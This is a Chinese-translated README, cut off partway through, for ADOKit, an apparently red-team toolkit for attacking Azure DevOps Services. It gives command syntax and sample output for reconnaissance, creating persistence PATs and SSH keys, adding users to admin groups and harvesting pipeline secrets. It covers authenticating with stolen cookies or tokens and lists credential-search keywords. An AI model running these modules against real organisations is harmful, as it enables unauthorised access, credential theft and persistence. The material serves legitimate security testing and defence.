# ADOKit
## 描述
Azure DevOps Services 攻击工具包 - ADOKit 是一款可利用 Azure DevOps Services 的 REST API 对其进行攻击的工具包。用户可以为相应的 Azure DevOps Services 实例指定攻击模块,同时提供有效的凭据(API 密钥或窃取的身份验证 Cookie)。支持的攻击模块包括侦察、权限提升和持久化。ADOKit 采用模块化设计,便于信息安全社区日后添加新模块。
有关 ADOKit 所用技术的完整详情,请参阅 X-Force Red [白皮书](https://www.ibm.com/downloads/cas/5JKAPVYD)。
### Black Hat USA Arsenal 2024
本仓库的 [BHUSA Arsenal 2024](https://github.com/h4wkst3r/adokit/blob/main/BHUSA_Arsenal_2024) 文件夹中包含演示幻灯片和演示内容。
## 版本发布
* ADOKit 1.4.1 版本可在 Releases 中找到
## 目录
- [ADOKit](#ADOKit)
- [目录](#table-of-contents)
- [安装/构建](#installationbuilding)
- [使用到的库](#libraries-used)
- [预编译版本](#pre-compiled)
- [自行构建](#building-yourself)
- [命令模块](#command-modules)
- [参数/选项](#argumentsoptions)
- [身份验证选项](#authentication-options)
- [模块详情表](#module-details-table)
- [示例](#examples)
- 侦察
- [验证 Azure DevOps 访问权限](#validate-azure-devops-access)
- [Whoami](#whoami)
- [列出组织](#List-orgs)
- [列出仓库](#List-repos)
- [搜索仓库](#Search-repos)
- [列出项目](#list-projects)
- [搜索项目](#search-projects)
- [搜索代码](#Search-code)
- [搜索文件](#Search-files)
- [列出用户](#list-users)
- [搜索用户](#search-user)
- [列出团队](#list-teams)
- [搜索团队](#search-team)
- [获取团队成员](#get-team-members)
- [列出组](#list-groups)
- [搜索组](#search-groups)
- [获取组成员](#get-group-members)
- [获取项目权限](#get-project-permissions)
- [凭据搜索](#creds-search)
- [获取构建日志](#get-build-logs)
- [列出构建日志](#list-build-logs)
- [搜索构建日志](#search-build-logs)
- 持久化
- [创建 PAT](#create-pat)
- [列出 PAT](#list-pats)
- [移除 PAT](#remove-pat)
- [创建 SSH 密钥](#create-ssh-key)
- [列出 SSH 密钥](#list-ssh-keys)
- [移除 SSH 密钥](#remove-ssh-key)
- 权限提升
- [添加项目管理员](#add-project-admin)
- [移除项目管理员](#remove-project-admin)
- [添加构建管理员](#add-build-admin)
- [移除构建管理员](#remove-build-admin)
- [添加集合管理员](#add-collection-admin)
- [移除集合管理员](#remove-collection-admin)
- [添加集合构建管理员](#add-collection-build-admin)
- [移除集合构建管理员](#remove-collection-build-admin)
- [添加集合构建服务帐户](#add-collection-build-service-account)
- [移除集合构建服务帐户](#remove-collection-build-service-account)
- [添加集合服务帐户](#add-collection-service-account)
- [移除集合服务帐户](#remove-collection-service-account)
- [获取管道变量](#get-pipeline-variables)
- [获取管道机密](#get-pipeline-secrets)
- [获取变量组](#get-variable-groups)
- [获取服务连接](#get-service-connections)
- [检测](#detection)
- [路线图](#roadmap)
- [参考](#references)
## 安装/构建
### 使用到的库
本项目使用了以下第三方库。
| 库 | URL | 许可证 |
| ------------- | ------------- | ------------- |
| Fody | [https://github.com/Fody/Fody](https://github.com/Fody/Fody) | MIT 许可证 |
| Newtonsoft.Json | [https://github.com/JamesNK/Newtonsoft.Json](https://github.com/JamesNK/Newtonsoft.Json) | MIT 许可证 |
### 预编译版本
* 使用 Releases 中的预编译二进制文件
### 自行构建
按照以下步骤设置 Visual Studio 以自行编译项目。需要从 NuGet 包管理器安装两个 .NET 库。
* 加载 Visual Studio 项目,转到“工具”-->“NuGet 包管理器”-->“包管理器设置”
* 转到“NuGet 包管理器”-->“包源”
* 添加一个包源,URL 为 `https://api.nuget.org/v3/index.json`
* 安装 Costura.Fody NuGet 包。
* `Install-Package Costura.Fody -Version 3.3.3`
* 安装 Newtonsoft.Json 包
* `Install-Package Newtonsoft.Json`
* 现在您可以自行构建项目了!
## 命令模块
* 侦察
* <b>check</b> - 检查组织是否使用 Azure DevOps 以及凭据是否有效
* <b>whoami</b> - 列出当前用户及其组成员身份
* <b>listorgs</b> - 列出 Azure DevOps 中可访问或所有组织
* <b>listrepo</b> - 列出所有仓库
* <b>searchrepo</b> - 搜索指定的仓库
* <b>listproject</b> - 列出所有项目
* <b>searchproject</b> - 搜索指定的项目
* <b>searchcode</b> - 搜索包含指定搜索词的代码
* <b>searchfile</b> - 根据搜索词搜索文件
* <b>listuser</b> - 列出用户
* <b>searchuser</b> - 搜索指定的用户
* <b>listteam</b> - 列出团队
* <b>searchteam</b> - 搜索指定的团队
* <b>getteammembers</b> - 获取指定团队的团队成员
* <b>listgroup</b> - 列出组
* <b>searchgroup</b> - 搜索指定的组
* <b>getgroupmembers</b> - 列出指定组的所有组成员
* <b>getpermissions</b> - 获取指定项目的访问权限信息
* <b>creds</b> - 在代码中搜索凭据(关键词如下所列)
* ``` "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password" ```
* <b>getbuildlogs</b> - 下载一个或所有项目的构建日志
* <b>listbuildlogs</b> - 列出一个或所有项目的构建日志
* <b>searchbuildlogs</b> - 搜索构建日志中的指定搜索词
* 持久化
* <b>createpat</b> - 为用户创建个人访问令牌
* <b>listpat</b> - 列出用户的个人访问令牌
* <b>removepat</b> - 移除用户的个人访问令牌
* <b>createsshkey</b> - 创建用户的公共 SSH 密钥
* <b>listsshkey</b> - 列出用户的公共 SSH 密钥
* <b>removesshkey</b> - 移除用户的公共 SSH 密钥
* 权限提升
* <b>addprojectadmin</b> - 将用户添加到指定项目的“项目管理员”组
* <b>removeprojectadmin</b> - 将用户从指定项目的“项目管理员”组中移除
* <b>addbuildadmin</b> - 将用户添加到指定项目的“构建管理员”组
* <b>removebuildadmin</b> - 将用户从指定项目的“构建管理员”组中移除
* <b>addcollectionadmin</b> - 将用户添加到“项目集合管理员”组
* <b>removecollectionadmin</b> - 将用户从“项目集合管理员”组中移除
* <b>addcollectionbuildadmin</b> - 将用户添加到“项目集合构建管理员”组
* <b>removecollectionbuildadmin</b> - 将用户从“项目集合构建管理员”组中移除
* <b>addcollectionbuildsvc</b> - 将用户添加到“项目集合构建服务帐户”组
* <b>removecollectionbuildsvc</b> - 将用户从“项目集合构建服务帐户”组中移除
* <b>addcollectionsvc</b> - 将用户添加到“项目集合服务帐户”组
* <b>removecollectionsvc</b> - 将用户从“项目集合服务帐户”组中移除
* <b>getpipelinevars</b> - 检索指定项目中使用的所有管道变量。
* <b>getpipelinesecrets</b> - 检索指定项目中使用的所有管道机密的名称。
* <b>getvariablegroups</b> - 检索指定项目中使用的所有变量组及其对应的变量。
* <b>getserviceconnections</b> - 检索指定项目中使用的服务连接。
## 参数/选项
* <b>/credential:</b> - 用于身份验证的凭据(PAT 或 Cookie)。适用于所有模块。
* <b>/url:</b> - Azure DevOps URL。适用于所有模块。
* <b>/search:</b> - 要搜索的关键词。并非适用于所有模块。
* <b>/project:</b> - 要执行操作的项目。并非适用于所有模块。
* <b>/user:</b> - 针对特定用户执行操作。并非适用于所有模块。
* <b>/id:</b> - 与持久化模块配合使用,用于针对特定令牌 ID 执行操作。并非适用于所有模块。
* <b>/group:</b> - 针对特定组执行操作。并非适用于所有模块。
## 身份验证选项
以下是使用 ADOKit 向 Azure DevOps 实例进行身份验证时可供选择的认证方式。
* **窃取的 Cookie - UserAuthentication** - 该 cookie 是用户计算机上 `.dev.azure.com` 域下的 `UserAuthentication` cookie。
* `/credential:UserAuthentication=ABC123`
* **窃取的 Cookie - AadAuthentication** - 该 cookie 是用户计算机上 `.dev.azure.com` 域下的 `AadAuthentication` cookie。
* `/credential:eyJ0...`
* **个人访问令牌 (PAT)** - 这是一个访问令牌/API 密钥,为单个字符串。
* `/credential:apiToken`
* **窃取的访问令牌** - 如果你能窃取或刷新一个合适的访问令牌,也可以使用它。使用时,访问令牌必须对 Azure 资源管理器 (ARM) 资源有效(`"aud":"https://management.core.windows.net/"`)或对 Azure DevOps 资源有效(`"aud":"499b84ac-1321-427f-aa17-267ca6975798"`)
* `/credential:eyJ0..`
## 模块详情表
下表显示了每个模块所需的权限。
攻击场景 | 模块 | 需要特殊权限? | 备注
--- |--- | --- | ---
侦察 | `check` | 否 |
侦察 | `whoami` | 否 |
侦察 | `listorgs` | 否 |
侦察 | `listrepo` | 否 |
侦察 | `searchrepo` | 否 |
侦察 | `listproject` | 否 |
侦察 | `searchproject` | 否 |
侦察 | `searchcode` | 否 |
侦察 | `searchfile` | 否 |
侦察 | `listuser` | 否 |
侦察 | `searchuser` | 否 |
侦察 | `listteam` | 否 |
侦察 | `searchteam` | 否 |
侦察 | `getteammembers` | 否 |
侦察 | `listgroup` | 否 |
侦察 | `searchgroup` | 否 |
侦察 | `getgroupmembers` | 否 |
侦察 | `getpermissions` | 否 |
侦察 | `creds` | 否 |
侦察 | `getbuildlogs` | 是 - `Contributors` 或 `Readers` 或 `Build Administrators` 或 `Project Administrators` 或 `Project Team Member` 或 `Project Collection Test Service Accounts` 或 `Project Collection Build Service Accounts` 或 `Project Collection Build Administrators` 或 `Project Collection Service Accounts` 或 `Project Collection Administrators` |
侦察 | `listbuildlogs` | 是 - `Contributors` 或 `Readers` 或 `Build Administrators` 或 `Project Administrators` 或 `Project Team Member` 或 `Project Collection Test Service Accounts` 或 `Project Collection Build Service Accounts` 或 `Project Collection Build Administrators` 或 `Project Collection Service Accounts` 或 `Project Collection Administrators` |
侦察 | `searchbuildlogs` | 是 - `Contributors` 或 `Readers` 或 `Build Administrators` 或 `Project Administrators` 或 `Project Team Member` 或 `Project Collection Test Service Accounts` 或 `Project Collection Build Service Accounts` 或 `Project Collection Build Administrators` 或 `Project Collection Service Accounts` 或 `Project Collection Administrators` |
持久化 | `createpat` | 否 |
持久化 | `listpat` | 否 |
持久化 | `removepat` | 否 |
持久化 | `createsshkey` | 否 |
持久化 | `listsshkey` | 否 |
持久化 | `removesshkey` | 否 |
权限提升 | `addprojectadmin` | 是 - `Project Administrator`、`Project Collection Administrator` 或 `Project Collection Service Accounts` |
权限提升 | `removeprojectadmin` | 是 - `Project Administrator`、`Project Collection Administrator` 或 `Project Collection Service Accounts` |
权限提升 | `addbuildadmin` | 是 - `Project Administrator`、`Project Collection Administrator` 或 `Project Collection Service Accounts` |
权限提升 | `removebuildadmin` | 是 - `Project Administrator`、`Project Collection Administrator` 或 `Project Collection Service Accounts` |
权限提升 | `addcollectionadmin` | 是 - `Project Collection Administrator` 或 `Project Collection Service Accounts` |
权限提升 | `removecollectionadmin` | 是 - `Project Collection Administrator` 或 `Project Collection Service Accounts` |
权限提升 | `addcollectionbuildadmin` | 是 - `Project Collection Administrator` 或 `Project Collection Service Accounts` |
权限提升 | `removecollectionbuildadmin` | 是 - `Project Collection Administrator` 或 `Project Collection Service Accounts` |
权限提升 | `addcollectionbuildsvc` | 是 - `Project Collection Administrator`、`Project Colection Build Administrators` 或 `Project Collection Service Accounts` |
权限提升 | `removecollectionbuildsvc` | 是 - `Project Collection Administrator`、`Project Colection Build Administrators` 或 `Project Collection Service Accounts` |
权限提升 | `addcollectionsvc` | 是 - `Project Collection Administrator` 或 `Project Collection Service Accounts` |
权限提升 | `removecollectionsvc` | 是 - `Project Collection Administrator` 或 `Project Collection Service Accounts` |
权限提升 | `getpipelinevars` | 是 - `Contributors` 或 `Readers` 或 `Build Administrators` 或 `Project Administrators` 或 `Project Team Member` 或 `Project Collection Test Service Accounts` 或 `Project Collection Build Service Accounts` 或 `Project Collection Build Administrators` 或 `Project Collection Service Accounts` 或 `Project Collection Administrators` |
权限提升 | `getpipelinesecrets` | 是 - `Contributors` 或 `Readers` 或 `Build Administrators` 或 `Project Administrators` 或 `Project Team Member` 或 `Project Collection Test Service Accounts` 或 `Project Collection Build Service Accounts` 或 `Project Collection Build Administrators` 或 `Project Collection Service Accounts` 或 `Project Collection Administrators` |
权限提升 | `getvariablegroups` | 是 - `Contributors` 或 `Readers` 或 `Build Administrators` 或 `Project Administrators` 或 `Project Team Member` 或 `Project Collection Test Service Accounts` 或 `Project Collection Build Service Accounts` 或 `Project Collection Build Administrators` 或 `Project Collection Service Accounts` 或 `Project Collection Administrators` |
权限提升 | `getserviceconnections` | 是 - `Project Administrator`、`Project Collection Administrator` 或 `Project Collection Service Accounts` |
## 示例
### 验证 Azure DevOps 访问权限
#### 使用场景
> *执行身份验证检查,确保组织正在使用 Azure DevOps,并且所提供的凭据有效。*
#### 语法
提供 `check` 模块,以及相关的身份验证信息和 URL。这将输出该组织是否正在使用 Azure DevOps,如果是,则尝试验证所提供的凭据。
`ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: check
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/28/2023 3:33:01 PM
==================================================
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
```
### Whoami
#### 用例
> *获取当前用户及其组成员身份*
#### 语法
提供 `whoami` 模块,以及相关的认证信息和 URL。这将输出当前用户及其所有组成员身份。
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
```
### 列出组织
#### 用例
> *使用给定的访问令牌检索组织信息。*
#### 语法
为 `listorgs` 模块提供所需的认证信息。默认情况下,该命令仅列出使用所提供的访问令牌可访问的组织。
- 使用 **`/mode:aad`** 枚举 Azure AD 租户内的 **所有** DevOps 组织,无论是否具有直接访问权限。
- 使用 **`/endpoint:ENDPOINT_NAME`** 指定自定义 AEX 端点。
- 可通过检查来自 `aex.dev.azure.com` 的 `"X-VSS-DeploymentAffinity"` cookie 来识别其他端点。
`ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]`
`ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21`
#### 示例输出```
C:\>ADOKit.exe listorgs /credential:"eyj0..."
==================================================
Module: listorgs
Auth Type: Azure Access Token
Target URL: https://app.vssps.visualstudio.com
Timestamp: 3/14/2025 2:26:45 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
-----------------------------------------------------------------------------------
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
```
### 列表仓库
#### 使用场景
> *发现Azure DevOps实例中正在使用的仓库*
#### 语法
提供`listrepo`模块,以及任何相关的身份验证信息和URL。这将输出仓库名称和URL。
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
```
### 搜索仓库
#### 使用场景
> *在 Azure DevOps 实例中按仓库名称搜索仓库*
#### 语法
提供 `searchrepo` 模块和在 `/search:` 命令行参数中提供搜索条件,以及相关的身份验证信息和 URL。这将输出匹配的仓库名称和 URL。
`ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred`
`ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred`
#### 示例输出```
C:\>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchrepo
Auth Type: API Key
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 9:26:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
```
### 列出项目
#### 使用场景
> *发现 Azure DevOps 实例中正在使用的项目*
#### 语法
提供 `listproject` 模块,以及相关的身份验证信息和 URL。这将输出项目名称、可见性(公共或私有)和 URL。
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
```
### 搜索项目
#### 使用场景
> *按项目名称在 Azure DevOps 实例中搜索项目*
#### 语法
提供 `searchproject` 模块和 `/search:` 命令行参数中的搜索条件,以及相关的认证信息和 URL。这将输出匹配的项目名称、可见性(公开或私有)和 URL。
`ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred`
`ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred`
#### 输出示例```
C:\>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
==================================================
Module: searchproject
Auth Type: API Key
Search Term: map
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:45:30 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
```
### 搜索代码
#### 使用场景
> *在 Azure DevOps 实例中搜索包含给定关键字的代码*
#### 语法
提供 `searchcode` 模块及 `/search:` 命令行参数中的搜索条件,同时提供相关认证信息和 URL。输出结果将显示匹配代码文件的 URL,以及代码中匹配的行。
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### 示例输出```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
```
### 搜索文件
#### 用例
> *在 Azure DevOps 的仓库中搜索文件名包含给定关键字的文件*
#### 语法
在 `/search:` 命令行参数中提供 `searchfile` 模块和搜索条件,以及相关的认证信息和 URL。这将输出匹配文件在其对应仓库中的 URL。
`ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline`
`ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline`
#### 示例输出```
C:\>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchfile
Auth Type: Cookie
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 11:28:34 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
----------------------------------------------------------------------------------------------------
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs
https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs
https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
```
### 凭据搜索
#### 使用场景
> *在 Azure DevOps 中搜索包含密码或 API 密钥等机密的代码*
#### 语法
提供 `creds` 模块,以及相关的认证信息和 URL。这将输出匹配文件在其各自仓库中的 URL,以及存在凭据的匹配行。
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
```
### 获取构建日志
#### 使用场景
> *下载所有管道运行(构建日志)的日志。然后你可以离线搜索信息和/或密钥。*
#### 语法
提供 `getbuildlogs` 模块以及给定项目的 `/project:` 参数,即可下载该项目的所有构建日志。如果你想下载所有项目的日志,请在 `/project:` 参数中指定 `all`。这将在当前工作目录中创建一个名为 `ADOKit-[随机8字符]` 的文件夹,用于存放下载的日志。
`ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### 示例输出```
C:\>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: getbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:15:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
```
### 列出构建日志
#### 使用场景
```
---
[Read more](https://github.com/h4wkst3r/adokit)